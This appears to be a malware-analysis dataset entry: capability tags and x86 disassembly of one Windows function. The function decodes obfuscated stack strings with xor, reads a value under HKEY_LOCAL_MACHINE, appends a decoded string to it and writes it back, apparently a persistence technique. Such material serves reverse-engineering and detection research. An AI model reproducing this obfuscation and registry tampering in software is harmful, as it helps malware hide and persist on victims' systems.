Function at 0x422920
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
sub esp, 0xac
mov eax, dword [0x4310d8]
push ebx
mov dl, 0x7c
push ebp
mov dword [esp + 0xb0], eax
push esi
mov byte [esp + 0x32], dl
mov byte [esp + 0x35], dl
mov byte [esp + 0x23], dl
mov bl, 0xc
mov al, 0xa8
mov dl, 0x1e
push edi
mov byte [esp + 0x34], 0x54
mov byte [esp + 0x35], 0x2c
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x12
mov byte [esp + 0x3a], 0x2c
mov byte [esp + 0x3b], 0xe7
mov byte [esp + 0x3c], 0x50
mov byte [esp + 0x3d], 0x8d
mov byte [esp + 0x3e], 0x53
mov byte [esp + 0x3f], 0x29
mov byte [esp + 0x40], 0xa2
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0x4e
mov byte [esp + 0x43], 0x45
mov byte [esp + 0x44], 0xc5
mov byte [esp + 0x20], 0x19
mov byte [esp + 0x21], 0x47
mov byte [esp + 0x22], 0xee
mov byte [esp + 0x23], 0x5d
mov byte [esp + 0x24], 0x22
mov byte [esp + 0x25], 0xb8
mov byte [esp + 0x26], 0xd
mov byte [esp + 0x28], 0xe1
mov byte [esp + 0x29], 0xa7
mov byte [esp + 0x2a], 0xf
mov byte [esp + 0x2b], 0xe
mov byte [esp + 0x2c], 0x8c
mov byte [esp + 0x2d], 0xbc
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x27
mov byte [esp + 0x30], 0x3b
xor esi, esi
mov cl, byte [esp + esi + 0x20]
add byte [esp + esi + 0x34], cl
inc esi
cmp esi, 0x11
jl 0x4229e4
mov byte [esp + 0x49], dl
mov dl, 0xc3
mov byte [esp + 0x53], dl
mov byte [esp + 0x57], dl
mov edx, 0x35
mov cl, 0xf4
mov byte [esp + 0x48], 0x36
mov byte [esp + 0x4a], 0x25
mov byte [esp + 0x4b], 0x12
mov byte [esp + 0x4c], 0x52
mov byte [esp + 0x4d], 0x96
mov byte [esp + 0x4e], 0xad
mov byte [esp + 0x4f], 0x9e
mov byte [esp + 0x50], 0xbf
mov byte [esp + 0x51], 0x75
mov byte [esp + 0x52], 0xdd
mov byte [esp + 0x54], 0xce
mov byte [esp + 0x55], 0x7d
mov byte [esp + 0x56], al
mov byte [esp + 0x58], 0x95
mov byte [esp + 0x59], 0x7b
mov byte [esp + 0x5a], al
mov byte [esp + 0x5b], 0
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5d], 0x16
mov byte [esp + 0x5e], 0x94
mov byte [esp + 0x5f], 0x19
mov byte [esp + 0x60], 0x2f
mov byte [esp + 0x61], 0xd6
mov byte [esp + 0x62], 0x67
mov byte [esp + 0x63], 0x14
mov byte [esp + 0x64], 0x50
mov byte [esp + 0x65], cl
mov byte [esp + 0x66], 0x54
mov byte [esp + 0x67], 0x88
mov byte [esp + 0x68], 0xfc
mov byte [esp + 0x69], bl
mov byte [esp + 0x6a], cl
mov byte [esp + 0x6b], 0x2c
mov byte [esp + 0x6c], 0x57
mov byte [esp + 0x6d], dl
mov byte [esp + 0x6e], 0x4b
mov byte [esp + 0x6f], 0x53
mov byte [esp + 0x70], 7
mov byte [esp + 0x71], 0x34
mov byte [esp + 0x72], 0x85
mov byte [esp + 0x73], 0x3f
mov byte [esp + 0x74], 0xb1
mov byte [esp + 0x75], dl
mov byte [esp + 0x76], 0x9f
mov byte [esp + 0x77], 0xc0
mov byte [esp + 0x78], 0xd2
mov byte [esp + 0x79], 0xbf
mov byte [esp + 0x7a], 0x4e
mov byte [esp + 0x7b], bl
mov byte [esp + 0x7c], 0x87
mov byte [esp + 0x80], 0x87
mov byte [esp + 0x81], 0x7f
mov byte [esp + 0x82], 0x39
mov byte [esp + 0x83], 0xd0
mov byte [esp + 0x84], 0xb6
mov byte [esp + 0x85], 0xae
mov byte [esp + 0x86], 0xf6
mov byte [esp + 0x87], 0x62
mov byte [esp + 0x88], 0xed
mov byte [esp + 0x89], 0x51
mov byte [esp + 0x8a], 0xea
mov byte [esp + 0x8b], 0x5d
mov byte [esp + 0x8c], 0x74
mov byte [esp + 0x8d], 0x21
mov byte [esp + 0x8e], 0x2e
mov byte [esp + 0x8f], 0x63
mov byte [esp + 0x90], 0x23
mov byte [esp + 0x91], 0x42
mov byte [esp + 0x92], 0x91
mov byte [esp + 0x93], 0x7e
mov byte [esp + 0x94], 0x8e
mov byte [esp + 0x95], 0xfd
mov byte [esp + 0x96], 0x17
mov byte [esp + 0x97], al
mov byte [esp + 0x98], 4
mov al, 0xdb
push edx
lea edx, [esp + 0x4c]
mov byte [esp + 0xaa], al
mov byte [esp + 0xb1], al
push edx
lea eax, [esp + 0x88]
mov byte [esp + 0xa1], 0x5a
mov byte [esp + 0xa2], 0x47
mov byte [esp + 0xa3], 0xa5
mov byte [esp + 0xa4], 0x58
mov byte [esp + 0xa5], 0x76
mov byte [esp + 0xa6], pe_nt_image_headers32
mov byte [esp + 0xa7], 0x78
mov byte [esp + 0xa8], 0x5c
mov byte [esp + 0xa9], 0x57
mov byte [esp + 0xaa], cl
mov byte [esp + 0xab], 0xf
mov byte [esp + 0xac], 0xf3
mov byte [esp + 0xad], 0xac
mov byte [esp + 0xaf], 0x12
mov byte [esp + 0xb0], 0xbc
mov byte [esp + 0xb1], 0xa0
mov byte [esp + 0xb2], 0xb4
mov byte [esp + 0xb3], 0x38
mov byte [esp + 0xb4], 0xe3
mov byte [esp + 0xb6], 0xff
mov byte [esp + 0xb7], 0xd7
mov byte [esp + 0xb8], 5
mov byte [esp + 0xb9], 0x46
mov byte [esp + 0xba], 0x63
mov byte [esp + 0xbb], 0x51
mov byte [esp + 0xbc], 0x65
call fcn.00422300
mov esi, eax
mov byte [esp + 0x20], 0x39
mov byte [esp + 0x21], 8
mov byte [esp + 0x22], 8
mov byte [esp + 0x23], 0x31
mov byte [esp + 0x24], 0x16
mov byte [esp + 0x25], 0x11
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x27
mov byte [esp + 0x28], 0x3c
mov byte [esp + 0x29], 0x34
mov byte [esp + 0x2a], 0x34
mov byte [esp + 0x2b], 0xb
mov byte [esp + 0x2c], 0x78
xor eax, eax
xor byte [esp + eax + 0x20], 0x78
inc eax
cmp eax, 0xd
jl 0x422cf4
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x400
push 8
mov dword [esp + 0x1c], 0x400
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 1
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov ebp, eax
mov eax, dword [esp + 0x14]
push eax
push 8
call ebx
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push esi
push 0x80000002
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push ebp
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x422d9c
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0xa8]
call fcn.00424873
add esp, 0xac
ret
lea ecx, [esp + 0x34]
push ecx
push ebp
call fcn.00425320
mov esi, eax
add esp, 8
test esi, esi
je 0x422e6e
mov ecx, dword [esp + 0x14]
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, esi
sub eax, ebp
push eax
push ebp
push ebx
call fcn.00425b10
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422de0
sub eax, edx
dec eax
js 0x422dfe
lea esp, [esp]
cmp byte [eax + ebx], 0x20
jne 0x422dfe
dec eax
mov byte [eax + ebx + 1], 0
jns 0x422df0
lea eax, [esp + 0x34]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422e05
sub eax, edx
add eax, esi
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422e12
mov edi, ebx
sub eax, esi
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x422e20
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, ebx
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
jmp 0x422e40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422e40
sub eax, edx
dec eax
js 0x422e5e
lea esp, [esp]
cmp byte [eax + ebx], 0x20
jne 0x422e5e
dec eax
mov byte [eax + ebx + 1], 0
jns 0x422e50
mov edx, ebp
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x422e64
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422e73
mov ecx, dword [esp + 0x18]
sub eax, edx
inc eax
push eax
mov eax, dword [esp + 0x14]
push ebp
push ecx
push 0
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x422e9e
xor edi, edi
jmp 0x422ea2
mov edi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push ebx
push 0
call ebp
push eax
call esi
mov ecx, dword [esp + 0xb8]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
call fcn.00424873
add esp, 0xac
ret